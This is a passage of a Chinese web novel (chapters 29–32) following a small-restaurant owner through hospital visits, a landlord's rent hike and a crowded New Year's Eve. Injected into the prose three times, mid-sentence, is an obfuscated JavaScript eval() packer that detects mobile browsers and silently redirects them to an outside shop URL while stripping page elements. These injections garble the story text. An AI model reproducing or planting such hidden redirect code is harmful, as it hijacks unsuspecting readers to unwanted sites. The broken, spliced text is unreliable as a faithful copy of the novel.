王丽的精神比之前好了很多。她能自己坐起来了,不用人扶,也不用枕头垫那么高。她脸上的肉多了一些,颧骨没那么突出了,脸色也从蜡黄变成了淡黄,有了一点活人的样子。头发长了一小截,黑黑的,短茬茬的,像刚割过的草坪,摸上去有点扎手。 “今天气色真好。”房寨把保温盒放在床头柜上。 王丽笑了笑。她现在笑的时候嘴角能翘得很高了,能看到上下两排牙齿。牙齿很白,和她瘦削的脸不太相称,像是从另一个人身上借来的。 “小月昨天画了一幅画。”房寨把手机拿出来,翻出照片给王丽看。 王丽接过手机,看着那幅画。 她看了很久。 房寨不知道她在看什么,是看小月的画技进步了,还是在看画里的人,还是在看画下面的那行字——“冬至快乐”。她看了大概有一分钟,然后把手机还给房寨,低下头,用被子角擦了擦眼睛。 “她画了你。”王丽说。 “嗯,画了。” “还画了张建国。” “嗯。” 王丽沉默了一会儿。 “小月喜欢你。”她说。 房寨不知道该怎么接这句话。 “她也喜欢张建国。”房寨说。 王丽点了点头,没再说什么。她拿起一个饺子,咬了一小口,嚼了很久,慢慢咽下去,又咬了一口。她吃了三个饺子,比之前吃的东西都多。 “好吃吗?”房寨问。 “好吃。”王丽说,“但不是你做的。” 房寨愣了一下,然后笑了。王丽也笑了,两个人对着笑了一下,笑得不大,但很真。 从医院出来的时候,天已经黑了。房寨骑着三轮车往回走,路上的车少了很多,大概是冬至都回家吃饭了。路灯一盏接一盏地亮着,橘黄色的光洒在地上,把整条街照得很温暖。 他想,王丽说得对,饺子不是他做的。他买了速冻的,煮了一下,装进保温盒,带去给一个躺在病床上的女人吃。她吃出来了,但她说好吃。不是因为他煮得好,是因为有人记得她。 冬至,有人记得给她带饺子。 这就够了。 回到店里的时候,张建国还没走。他坐在靠窗的位置上,面前放着一碗已经凉了的茶,看着窗外出神。 “你怎么还没走?”房寨问。 “等你。”张建国说,“我有事跟你说。” 房寨在他对面坐下来。 “我想租个房子。”张建国说,“租在城南,离小月近一点。我现在住的地方太远了,每天来回要两个多小时,有时候赶不上送她回家。” 房寨看着他,等他说下去。 “我找了个工作,在城南的一个工地上,做电焊。工资不高,但够用了。”张建国说,“我想把小月接过来跟我住。” 房寨沉默了几秒。 “王丽知道吗?” “还没跟她说。”张建国说,“我想先问问你的意见。” 房寨想了想。张建国要租房子,要找工作, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他想,小月喜欢他,是因为他每天给她做面。小月喜欢张建国,是因为张建国是她爸爸。这两种喜欢不一样,一种是在胃里,一种是在血里。胃里的喜欢会变,血里的喜欢变不了,不管张建国以前做了什么,小月心里那个位置始终是留给他的。 房寨把茶喝完,关了灯,锁了门。 三轮车的座垫很凉,一坐上去凉意就透过裤子钻进肉里。他把外套裹紧,蹬着车往城中村的方向去。 小橘猫现在每天晚上都蹲在楼道口等他。它已经不怕他了,看到他来就跑过来蹭他的腿,喵喵叫着要吃的。房寨从口袋里掏出猫粮——他现在不喂火腿肠了,太贵,改买散装猫粮,一大袋才二十块钱,能吃一个月。 小橘猫低头吃猫粮,吃得很香,咯吱咯吱的。房寨蹲在旁边看着它,伸手摸了摸它的背,猫的毛很软,摸上去很舒服。 “你今天吃了什么?”他跟猫说。 猫当然不会回答。 “我吃了饺子。速冻的,不好吃。” 猫吃完了,舔了舔嘴,跳上台阶,蹲在门口等他开门。房寨开了门,猫先进去了,跳上那把塑料凳子,蜷成一团,闭上眼睛。 房寨洗了澡,躺在床上,翻开手机。 群里有人在发今天冬至的照片。有饺子的、有汤圆的、有羊肉汤的、有煲仔饭的。有人拍了他店门口排队的照片,队伍排了十几米长,弯弯曲曲的,一直排到隔壁那家店的门口。照片下面配了一行字:“寨哥儿的店,冬至比过年还热闹。” 房寨看着这张照片,忽然觉得有点骄傲。 不是因为他做了多少生意,赚了多少钱。是因为冬至这一天,有那么多人选择来他的店里吃饭。他们可以吃饺子,可以吃汤圆,可以回家跟家人一起吃。但他们选择了来寨哥儿,坐在那间不大的店里,吃一碗羊肉汤,或者一份煲仔饭,或者一碗红烧牛肉面。 他们把他的店当成了冬至可以去的地方。 这比任何夸奖都让他高兴。 30.第 30 章 十二月下了第一场雪。 不是那种铺天盖地的大雪,是那种细细密密的小雪,像盐粒一样从天上撒下来,落在地上就化了,只留下一片湿漉漉的印子。房寨早上出门的时候,雪花打在脸上,凉丝丝的,一碰就化了。城中村的巷子里,地面上薄薄地积了一层水,踩上去啪嗒啪嗒的,裤腿湿了一圈。 到了店里,暖气已经开了。周阿姨比他还早,正在拖地,地拖得亮亮的,能照出人影来。她今天穿了一件红色的棉袄,说是儿子给买的,过年穿的,先穿出来试试。 “好看吗?”周阿姨问。 “好看。”房寨说。 周阿姨笑了,拖着地哼起了歌。调子不太准,但听着挺开心的。 张建国来得也早。他今天穿了一件新外套,黑色的,看起来挺厚实,领子竖起来,把半张脸都遮住了。他进门的时候带进来一股冷风,房寨打了个哆嗦。 “你今天怎么这么早?”房寨问。 “去看了个房子,就在小月学校旁边,走路十分钟。”张建国把外套脱了,挂在椅背上,“一室一厅,不大,但够两个人住了。” “租了?” “交了定金,下周签合同。”张建国说着,系上围裙,开始准备中午的料。 房寨看着他切菜的动作,比以前更利索了,刀起刀落,土豆丝切得又快又匀。他的手很稳,不像之前那样会抖了。大概是心里踏实了,手就不抖了。 “王丽那边,你跟她说了吗?”房寨问。 张建国切菜的手停了一下,然后又继续切。 “说了。” “她怎么说?” “她说她想想。” 张建国的声音很平静,但房寨注意到他切菜的速度慢了下来,每一刀都切得很用力,像是把什么情绪切进了土豆里。 房寨没再问了。这种事急不得,就像炖汤,火候到了味道自然就出来了。 雪下了一整天,从早下到晚,没停过。 店里的生意比平时好。天冷了,大家都想吃热乎的,羊肉汤卖得特别快。中午炖的两锅羊肉,不到一点就卖光了。房寨又炖了一锅,下午也卖得差不多了。 小月来的时候,身上落了一层雪,头发上白花花的,像顶着一头碎银子。张建国拿毛巾帮她擦头发,动作很轻,一下一下的,像在擦一件易碎品。 “爸爸。”小月忽然叫了一声。 张建国的手停住了。 这是小月第一次叫他爸爸。 之前她都是不叫的,或者说“你”,或者什么都不叫。张建国送她回家的时候,她说“走了”,不说“爸爸再见”。她让他帮忙倒水的时候,她说“水”,不说“爸爸帮我倒水”。张建国从来没催过她叫爸爸,也没问过她为什么不叫。他只是在等。 等了快两个月,等到了。 “嗯。”张建国应了一声,声音有点抖。 “今天下雪了。”小月说。 “嗯,下雪了。” “明天还会下吗?” “天气预报说还会下。” 小月点了点头,没再说什么,低下头开始吃面。她今天吃的是阳春面,最普通的那种,清汤、细面、葱花、一滴猪油。她吃得很慢,一口一口的,和每天一样。 张建国站在旁边,手不自觉地攥着毛巾,攥得指节都发白了。他的眼眶红了,但没有哭。他看了小月好几秒,然后转身去了厨房。 房寨在厨房里看到了刚才那一幕。他什么都没说,把灶台上的羊肉汤盛了一碗,放在旁边凉着,等张建国进来的时候递给他。 “喝口汤,暖暖。” 张建国接过碗,喝了一口,又喝了一口。他的喉结上下动了一下,像是在咽什么东西。 “寨哥。”他说。 “嗯。” “她叫我爸爸了。” “我听到了。” 张建国端着碗,站在灶台前面,背对着房寨。他的肩膀微微抖了一下,不知道是因为冷还是因为别的什么。 房寨没再说话,低下头继续切菜。 那天晚上关店之后,房寨去医院看王丽。 雪还在下,比白天大了。路上的积雪已经有脚面那么深了,三轮车的轮子碾过雪地,发出咯吱咯吱的声音,和以前推车的声音很像。他想起几个月前推着那辆破推车在街上走的日子,轮子也是咯吱咯吱响,和现在一模一样。 到了医院,停好车,抱着保温桶上三楼。走廊里很安静,只有护士站的小护士在低声打电话,声音很小,听不清说什么。墙上的灯还是那么亮,白晃晃的,照得人眼睛不舒服。 王丽的病房门开着一条缝,里面透出暖黄色的光。房寨推门进去,王丽正靠在床头看书。是一本杂志,翻到中间,上面有一篇关于育儿知识的文章,讲怎么跟孩子沟通。 “看什么呢?”房寨把保温桶放在床头柜上。 “随便看看。”王丽把杂志合上,放在枕头旁边。 房寨打开保温桶,今天带的是红枣银耳汤。银耳炖得很烂,胶质都炖出来了,汤是粘稠的,甜丝丝的。他倒了一碗,递给王丽。王丽接过去,用勺子舀了一口,慢慢喝了。 “今天小月叫张建国爸爸了。”房寨说。 王丽的勺子停在半空中,停了两秒,然后继续舀汤,喝了一口。 “她终于叫了。”王丽说,声音很轻,像是在跟自己说话。 “张建国租了房子,在小月学校旁边,一室一厅。他说想接小月过去住。”房寨说这句话的时候,一直在看王丽的表情。 王丽没有表情。 她就那么坐在床上,手里端着碗,眼睛看着碗里的汤。汤已经不冒热气了,大概凉了。她看着那碗凉了的汤,看了好一会儿。 “他跟我说了。”王丽说。 “你怎么想的?” 王丽把碗放在床头柜上,躺下来,看着天花板。天花板上有几块水渍,形状像云,又像山。 “我想让小月过正常的生活。”她说,“有人接她放学,有人给她做饭,有人陪她写作业。这些我都给不了她了。” 房寨想说“你以后可以的”,但这句话他说不出口。他不知道王丽以后能不能站起来,能不能出院,能不能像以前一样给小月做糖醋排骨。他不知道,王丽也不知道。 “张建国现在不一样了。”房寨说。 王丽没有接话。 房间里很安静,暖气片里的水声咕噜咕噜的,像一条小河在墙里流淌。窗外有风,吹得玻璃窗微微震动,发出很轻很轻的嗡嗡声。 “房寨。”王丽忽然叫了他一声。 “嗯。” “你帮我盯着他。”王丽说,“他要是对小月不好,你告诉我。” 房寨想说“他不会的”,但他没说。他点了点头,说了一个字:“好。” 王丽转过头看着他,笑了一下。那个笑容很轻,像窗外的雪花,落在地上就化了。但房寨看到了,在那个笑容里,他看到了一个女人把一个孩子托付给另一个人的决心。不是放弃,是托付。因为她知道自己够不到了,所以找了一个能够到的人。 从病房出来的时候,房寨在走廊里站了一会儿。走廊很长,灯很亮,尽头还是黑的。但那幅儿童画旁边又多了一幅画,是一个小朋友画的,画的是一个医生在给病人看病,旁边写着“谢谢医生”。画得很幼稚,但很真诚,房寨站在那幅画前面看了几秒。 他想起小月画的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534391|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幅三个人手拉手的画。他不知道小月以后会不会再画一幅画,画四个人。多出来的那一个,也许是他,也许是别人。但他希望,无论小月以后画几个人,她都能笑着画,像现在这样,在画纸的右下角写上“快乐”两个字。 回到店里的时候,雪已经停了。 地上积了厚厚一层,白茫茫的,路灯的光照在雪上,反射出一片柔和的白。整条街都安静了,连远处马路上的车声都变小了,像是被雪吸走了一样。 张建国还没走,他坐在店里等房寨回来。看到房寨进门,他站起来,表情有点紧张,像是在等一个判决。 “王丽怎么说?”他问。 “她说她想想。”房寨说。 张建国哦了一声,坐下来,脸上的表情看不出是失望还是松了口气。 “她还说了一句话。”房寨说。 张建国抬起头看着他。 “她说让你好好对小月。” 张建国的眼睛亮了一下,然后又暗了,然后又亮了。他的表情变了好几次,最后停在了一个房寨没见过的表情上——不是高兴,不是感动,是一种很复杂的、说不清楚的东西。 “我会的。”他说。只有三个字,但说得很用力,像是把全身的力气都用上了。 那天晚上关店之后,房寨没有马上回家。他站在店门口,看着街上的雪。雪已经停了,但风还在吹,把地上的雪吹起来,在空中打着旋,像无数细小的星星在跳舞。街上一个人都没有,只有路灯和雪,还有远处偶尔传来的一两声狗叫。 他掏出手机,给奶奶打了个电话。响了好几声才接,奶奶的声音从听筒里传出来,带着老家的口音,听起来很亲切。 “奶奶,你那边下雪了吗?” “下了,下了好大。”奶奶说,“你那边呢?” “也下了,不大,地上积了一层。” “那你多穿点衣服,别冻着了。” “嗯,穿了。”房寨说,“奶奶,过年我回去看你。” 电话那头沉默了一下。 “真的?”奶奶的声音有点抖。 “真的。” “好,好,我等你。”奶奶连说了两个好字,声音里带着笑。 挂了电话之后,房寨在雪地里站了一会儿。雪花又开始飘了,很小,很轻,落在他的头发上、肩膀上、睫毛上。凉凉的,但不冷。 他想,今年过年一定要回去。 不管店里多忙,都要回去。 奶奶一个人在老家,过年的时候别人家都是热热闹闹的,只有她一个人,守着电视机,看着春晚,等着零点的钟声敲响。他以前每年都说回去,每年都有事回不去。今年不一样了,今年他有自己的店了,时间自己说了算。 他要把店关了,门上贴一张纸条:“老板回家过年,初八营业。”然后在除夕之前赶回老家,陪奶奶吃年夜饭,陪她看春晚,陪她守岁。初一早上给她下一碗面,阳春面,清汤、细面、葱花、一滴猪油。她一定会说好吃。 房寨转身锁了门,骑着三轮车往回走。 三轮车的轮子在雪地上留下两道深深的车辙,从店门口一直延伸到远方,像两条平行线,永远不相交,但一直在一起。他骑得很慢,怕滑倒,车轮碾过积雪,发出沙沙的声音,像有人在耳边轻声说话。 城中村的巷子里,小橘猫蹲在楼道口等他。它浑身是雪,像一只白色的毛球。看到房寨来了,它站起来抖了抖身上的雪,喵喵叫着跑过来。 房寨把它抱起来,猫的体温很暖,隔着衣服都能感觉到。它的爪子踩在房寨的胸口上,一下一下的,像是在踩奶。 “走吧,上楼。”房寨说。 猫喵了一声,像是在说“好”。 31.第 31 章 十二月中旬的时候,房东来了。 房寨正在厨房里炒菜,听到外面有人喊“老板”,他探头一看,一个五十多岁的男人站在店门口,穿着黑色羽绒服,手里拿着一串钥匙。不是赵哥,是真正的房东,姓孙,房寨签合同的时候见过一面,之后再没来过。 孙房东在店里转了一圈,看看这里摸摸那里,最后在收银台前面停下来,用手指在台面上划了一下,看了看手指上的灰。 “生意不错啊。”孙房东说。 “还行。”房寨从厨房里出来,围裙还没解。 “这个月房租该交了。” “我知道,还有几天。” 孙房东点了点头,没走。他在店里找了个位置坐下来,看着墙上的菜单,又看了看坐满的客人。 “你这里生意这么好,我那个租金是不是该涨一涨了?” 房寨的手顿了一下。 涨房租。他之前想过这个可能性,但没想到来得这么快。合同签了一年,才干了不到半年,按理说不能涨。但房东要涨,你能怎么办?打官司?耗不起。不租了?店刚做起来,客人刚稳定下来,搬走了损失更大。 “孙哥,合同签了一年,租金说好的。”房寨尽量让自己的语气听起来平和。 “合同是合同,市场是市场。”孙房东靠在椅背上,“你看这条街,哪家店不比你的租金高?你旁边那个卖包子的,一个月四千。你这个才两千八,太低了。” 房寨没说话。他旁边那个卖包子的他认识,房租确实是四千,但人家的店面比他大一倍,位置也比他好,在主街上,不像他在巷子里。拿那个来比,不公平。 但他知道跟房东讲道理没用。 “你能涨多少?”房寨问。 “五千。” 房寨愣了一下。两千八到五千,涨了将近一倍。他每个月净赚一万五左右,房租从两千八涨到五千,多了两千二,净赚就变成一万三不到。加上水电食材人工都在涨,他的利润会被压得越来越薄。 “五千太高了。”房寨说,“我承受不了。” 孙房东看了他一眼,沉默了几秒。 “那四千五,不能再低了。” 房寨算了算,四千五比两千八多了一千七。一个月多一千七,一年就是两万多。他不是拿不出这个钱,但心里不舒服。不是因为钱的问题,是因为这种感觉——你辛辛苦苦把店做起来了,生意好了,就有人来割你的肉。不是割一刀,是每个月都来割一刀。 “我考虑一下。”房寨说。 “行,你考虑好了给我打电话。”孙房东站起来,拍了拍裤子,走了。 他走了之后,店里安静了几秒。然后客人们又开始说话了,声音渐渐大起来,恢复了之前的热闹。但房寨觉得那个热闹和他之间隔了一层什么东西,听不太清了。 张建国从厨房里出来,站在房寨旁边。 “他涨多少?” “四千五。” “妈的。”张建国骂了一句,声音不大,但房寨听到了。 “没事,我来想办法。”房寨说。 但他能有什么办法呢?要么接受,要么搬走。搬走的话,要找新店面,要装修,要重新积累客源,至少要折腾一两个月。这一两个月的损失,比涨的房租还多。 怎么算都是亏。 晚上关店之后,房寨一个人坐在店里,把账本翻来翻去地看。他算了一下,如果房租涨到四千五,他每个月还能净赚一万二左右。比之前少了两三千,但也不是活不下去。只是心里那道坎过不去——凭什么?凭什么他辛辛苦苦做起来的店,房东什么都不干,就涨房租分走一大块? 他把这个事在群里说了一下。 “房东要涨房租,从两千八涨到四千五。大家觉得我是搬还是留?” 群里很快就炸了。 “四千五?太黑了吧!” “合同没到期凭什么涨房租?” “寨哥儿你别搬,你搬走了我们上哪吃去?” “要不我们众筹给你付房租?” “对,众筹!一人出一点,寨哥儿就不用搬了。” 房寨看着这些消息,心里暖了一下,但他不会要大家的钱。他的店,他的房租,凭什么让别人来付? 阿坤给他打了个电话。 “寨哥,你别急,我认识一个做房产中介的朋友,帮你问问附近有没有合适的店面。” “谢了。” “谢什么谢,你的事就是我的事。” 阿坤挂了电话之后,房寨坐在椅子上发了会儿呆。他想起几个月前,他在夜市摆摊的时候,赵哥涨摊位费,他愁了好几天。现在开店了,房东涨房租,他又愁。好像不管他走到哪一步,总有人在他前面等着收割他。摆摊的时候是赵哥,开店的时候是孙房东。以后呢?如果他开了更大的店,是不是还有更多的人在等着? 他忽然觉得有点累。不是身体的累,是心里的累。 这时候系统面板亮了一下。 【检测到宿主当前面临经营成本压力。】 【建议:提升店铺盈利能力,而非压缩成本。】 【新功能解锁:菜单定价优化。】 【根据当前食材成本、人工成本、房租成本,系统建议调整以下菜品价格:】 【煲仔饭:20元→22元】 【红烧牛肉面:18元→20元】 【羊肉汤:25元→28元】 【红烧肉:28元→30元】 房寨看着这些建议,皱了皱眉。 涨价。又是涨价。他之前涨过一次了,虽然客人们没说什么,但他自己心里不太舒服。他觉得自己的东西已经不算便宜了,再涨怕客人接受不了。 但系统说得有道理。房租涨了,他要么压缩成本,要么提升收入。压缩成本的话,食材质量会下降,服务质量会下降,最后受伤的还是客人。提升收入的话,涨价是最直接的。 他决定先不涨,再看看有没有别的办法。 第二天,阿坤带着他的中介朋友来了。 是个年轻姑娘,姓林,戴着眼镜,说话很快,噼里啪啦的像放鞭炮。她在附近转了一圈,拍了十几张照片,然后回来跟房寨分析。 “你这家店的位置不太好,在支路上,人流量有限。但你的客源比较稳定,大部分是老客人,对位置不敏感。我建议你在附近找一个人流量更大的位置,哪怕租金贵一点,但营业额能上去。” 她拿出手机,翻出几个店面的信息给房寨看。 “这个,主街上,离你现在的店大概三百米,月租六千,面积比你现在的店大一倍。这个,十字路口旁边,月租五千五,人流量很大,但店面小一些。这个,学校门口,月租五千,放学的时候人很多,但平时一般。” 房寨看着这几个选项,六千、五千五、五千,都比现在的四千五高。搬过去不但没省钱,还更贵了。 “有没有便宜一点的?”房寨问。 林姑娘想了想:“便宜的基本都在支路上,人流量跟你现在差不多,租金可能比你现在 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“你要是涨到四千五,寨哥可能就不租了。他搬走了,你这个店面不一定能马上租出去。空一个月你就少一个月房租,空两个月你就少两个月。你算算哪个划算?” 孙房东放下茶杯,看了张建国一眼。 “你在吓我?” “我不是吓你,我是跟你算账。”张建国笑了笑,“你涨到三千五,寨哥继续租,你每个月多收七百,一年就是八千四,稳稳当当的。你涨到四千五,他搬走了,你重新找租客,不一定能找到,找到了也不一定稳定。你选哪个?” 孙房东沉默了一会儿。 “三千八。”他说。 “三千五。”张建国说。 “三千六,不能再低了。” 张建国看了看房寨,房寨点了点头。 “行,三千六。”张建国说,“但合同要重签,签两年,这两年内不能再涨。” 孙房东想了想,答应了。 张建国当场写了一份新合同,两个人签了字,按了手印。孙房东拿着合同走了,走的时候脸上没什么表情,看不出是满意还是不满意。 张建国把合同递给房寨。 “寨哥,你看看,没问题就收好。” 房寨接过合同,翻了翻。三千六,比两千八多了八百,但比四千五少了九百。一年下来,比孙房东最初的要价少了一万多块钱。 “建国,谢谢你。”房寨说。 “谢什么谢,你帮了我那么多,我帮你这点忙算什么。”张建国摆了摆手,“再说了,我也是为了自己。你要是搬走了,我去哪吃饭?” 房寨笑了,张建国也笑了。 两个人站在店里笑了几声,然后各自去忙了。张建国回厨房切菜,房寨把合同收进抽屉里,锁好。 晚上小月来的时候,张建国把这个事跟她说了一下。小月不太懂房租是什么意思,但她听懂了“爸爸帮叔叔谈价钱了”,点了点头,说了一句“爸爸真厉害”。 张建国听到“爸爸真厉害”这四个字,脸上的笑藏都藏不住。他转过身去盛汤,房寨看到他嘴角翘得老高,眼睛都眯成了一条缝。 房寨站在厨房门口看着这一幕,忽然觉得,房租的事好像没那么重要了。三千六也好,四千五也好,钱的事总能想办法解决。但有些东西是钱买不到的——比如小月叫的那声“爸爸”,比如张建国帮他谈判时的那种仗义,比如群里那些人说要众筹帮他付房租时的那些话。 这些才是真正值钱的东西。 32.第 32 章 十二月三十一号,一年的最后一天。 房寨早上到店的时候,发现门口贴了一张红纸,上面写着“新年快乐”四个字,是张建国的字,比他写的好看多了。笔画有力,结构方正,一看就是练过的。房寨在门口站了一会儿,看着那四个字,忽然意识到一年就这么过去了。 这一年发生了太多事。年初的时候他还是个在公司写代码的程序员,每天吃蛋炒饭,每天晚上躺在床上算房贷。年中的时候他开始摆摊,被城管赶,在夜市里被赵哥涨摊位费。秋天的时候他开了这家店,二十平米,位置偏,装修简陋,但好歹是自己的。现在冬天了,店还在,生意还行,房租的问题暂时解决了。 他想起去年这个时候,他在出租屋里一个人跨年。买了一瓶啤酒,一包花生米,坐在塑料凳子上,看着手机上的跨年晚会。零点的时候窗外有人在放烟花,他拉开窗帘看了一眼,烟花在夜空中炸开,红的绿的黄的,很漂亮。然后他关上窗帘,把啤酒喝完,上床睡觉。 今年不一样了。 今年店里很热闹。张建国提议搞个跨年活动,房寨本来觉得没必要,一个小店搞什么跨年。但张建国说“热闹热闹嘛”,小赵也说“对嘛”,周阿姨也说“挺好的”,连小月都说“叔叔搞嘛”。房寨被一群人围着说,只好答应了。 张建国买了几串彩灯,挂在店门口,一闪一闪的,五颜六色,像小时候过年的样子。小赵吹了几个气球,绑在门框上,红色的、金色的、蓝色的,花花绿绿的。周阿姨从家里带了一个旧音响,放一些老歌,声音不大,但气氛一下就上来了。 下午的时候,房寨在群里发了一条消息:“今晚跨年,店里营业到凌晨,有免费饺子。欢迎大家来。” 群里又炸了。 “寨哥儿你终于开窍了!” “免费饺子?我今晚就住你店里了!” “从城北过来要一个小时,但我一定来!” “能不能带朋友?我朋友也想尝尝你的手艺。” 房寨回复:“能带,带多少都行。” 傍晚的时候,店里就开始上人了。比平时早了很多,平时六七点才来人,今天五点多就有人来了。不是来吃饭的,是来占位置的。几个人坐在店里,点了茶,慢慢喝,等着跨年。后面来的人没位置了,就站着,也不走,站在门口聊天。 六点多的时候,店里已经满了。小赵在外面招呼客人,嗓子又哑了。周阿姨在厨房帮忙包饺子,韭菜鸡蛋馅的,猪肉白菜馅的,包了满满几大盘,摞在案板上,像一座小山。张建国在灶台前煮饺子,锅里的水滚开着,饺子下进去,沉下去,又浮上来,白白胖胖的,在锅里翻滚。 房寨在炒菜。煲仔饭、炒河粉、红烧肉、糖醋排骨,一样一样地出,灶台上的火就没关过。他的额头上全是汗,但顾不上擦,袖子一抹继续干。 小月坐在她的椅子上写作业。今天作业不多,她很快就写完了,然后拿出彩笔开始画画。她画了一个圆桌,桌上摆满了菜,圆桌旁边坐了一圈人,有房寨、有张建国、有周阿姨、有小赵、有阿坤,还有她自己。每个人脸上都笑着,笑得很开心。画的右下角写着:新年快乐。 八点多的时候,阿坤来了。他带了几瓶啤酒和一袋零食,往桌上一放,像回自己家一样自然。他在店里转了一圈,跟每个人打招呼,然后走到厨房门口,靠在门框上看房寨炒菜。 “寨哥,你今天生意爆了啊。”阿坤说。 “还行。” “这哪是还行,这是爆了。”阿坤看着满屋子的人,“你数数多少人,四五十个有了吧?你这个小店都快撑破了。” 房寨笑了笑,没说话。他知道阿坤说得对,他的店太小了,二十平米,满打满坐能坐二十来个人。今天来了四五十个,大部分人站着,有的人端着碗站在门口吃,有的人坐在台阶上吃,有的人干脆蹲在路边吃。场面乱糟糟的,但很热闹,像赶集一样。 九点多的时候,饺子煮好了。张建国端着大盘子出来,一桌一桌地送。韭菜鸡蛋的、猪肉白菜的,热气腾腾的,蘸着醋和辣椒油吃,一口一个。客人们吃得满嘴流油,有人说“这个饺子比外面卖的好吃多了”,有人说“寨哥儿你干脆改行卖饺子算了”。 房寨听了,心想,卖饺子也不是不行。但他不会包饺子,今天的饺子是周阿姨包的,张建国煮的,他只是在旁边看了看。他包的饺子难看,馅老是漏出来,煮的时候皮开了,馅跑出来,成了一锅饺子汤。周阿姨笑了他半天。 十点多的时候,王丽给房寨打了个电话。 房寨走到店外面接的。外面很冷,风很大,吹得彩灯哗哗响。他缩着脖子,把手机贴在耳朵上。 “房寨。”王丽的声音比之前有力了一些,不用凑很近也能听清了。 “嗯,新年快乐。” “新年快乐。”王丽说,“小月在吗?” “在,她在画画。” “让她接一下电话。” 房寨走进店里,把手机递给小月。小月接过手机,叫了一声“妈妈”,然后走到角落里,背对着大家,小声地说话。听不清她在说什么,但能看到她的肩膀在轻轻抖动,不知道是冷还是哭。 张建国站在厨房门口,远远地看着小月,手里还拿着锅铲。他的表情很平静,但房寨注意到他的喉结动了一下,像是在咽什么。 小月说了大概十分钟,把手机还给房寨。 “叔叔,妈妈说她好多了,说再过一段时间可能就能出院了。” 房寨接过手机,看到屏幕上还亮着通话结束的画面。王丽说可能能出院了。可能。这个词让他心里悬了一下,不是肯定,是可能。可能能出,也可能不能出。但他没在小月面前说什么,只是点了点头,说“那太好了”。 十一点多的时候,店里开始倒计时了。 不知道是谁起的头,有人喊了一句“还有四十分钟”,然后大家就开始看手机。有人拿出手机看时间,有人说“我手机慢了”,有人说“我手机快了”,七嘴八舌的,乱成一团。小赵把音响的声音调大了,放的是一首节奏很快的歌,有人开始跟着哼,哼着哼着就变成了大合唱,整间店都是歌声。 房寨从厨房里出来,站在收银台旁边,看着满屋子的人。他的店很小,二十平米,挤了四五十个人,转个身都难。空气里弥漫着食物的味道、啤酒的味道、人身上的味道,混在一起,热烘烘的。灯光是暖黄色的,照在每个人脸上,每个人的脸都是红的,不知道是热的还是喝了酒。 这些人,有的是老客人,从摆摊的时候就跟着他了。有的是新客人,看了视频或者听了朋友推荐来的。有的是朋友的朋友,被拉来凑热闹的。他们来自不同的地方,做着不同的工作,有不同的故事,但此刻,他们都挤在他的小店里,等着新年的到来。 房寨忽然觉得鼻子有点酸。 不是难过,是那种“被这么多人围着”的感觉。他一个人太久了,久到他已经习惯了孤独。去年跨年他一个人在出租屋里喝啤酒吃花生米,前年跨年他在公司加班对着电脑屏幕发呆,大前年跨年他在大学宿舍里打游戏打到了凌晨。他从来没有被人群这样包围过,从来没有在跨年的时候不是一个人。 “寨哥儿!”有人喊了他一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他有店,有客人,有张建国、小赵、周阿姨、阿坤,有小月,有王丽,有群里那几百个每天催他出摊的人。这些人,有的是他的员工,有的是他的朋友,有的是他的客人,有的像他的家人。他们从不同的地方来,因为一碗面、一份煲仔饭、一碗羊肉汤,聚在了这个二十平米的小店里。 房寨拿起啤酒瓶,喝了一大口。 啤酒有点苦,但咽下去之后,嘴里是甜的。 新年了。 新的一年,不知道会发生什么。也许房租还会涨,也许食材还会涨价,也许生意会变好,也许会变差。也许王丽会好起来,也许不会。也许张建国和小月会变成真正的一家人,也许不会。 但不管发生什么,他都会站在这里。 站在灶台前面,穿着那条旧围裙,握着那把旧锅铲,做他该做的事。 炒菜,煮面,炖汤。 把饭做好,端给每一个走进店里的人。 房寨把啤酒瓶放在桌上,转身回了厨房。 灶台上的火还开着,锅里的汤还在咕嘟咕嘟地冒泡。他拿起锅铲,开始炒今天最后一份炒河粉。 客人是一个年轻姑娘,戴着一副大眼镜,穿着白色羽绒服。她站在收银台前面,看着墙上的菜单,犹豫了很久,最后说了一句“来一份炒河粉,加牛肉”。 房寨点火,热锅,倒油。牛肉下锅滑熟,盛出来备用。鸡蛋炒散,下河粉,大火快炒。河粉在锅里翻腾,边缘开始变得焦黄。酱油沿着锅边淋下去,刺啦一声,香味炸开。 整个店里的人都在喊新年快乐,吵得要命。 但房寨只听到锅铲和铁锅碰撞的声音。 叮叮当当的,像新年的钟声。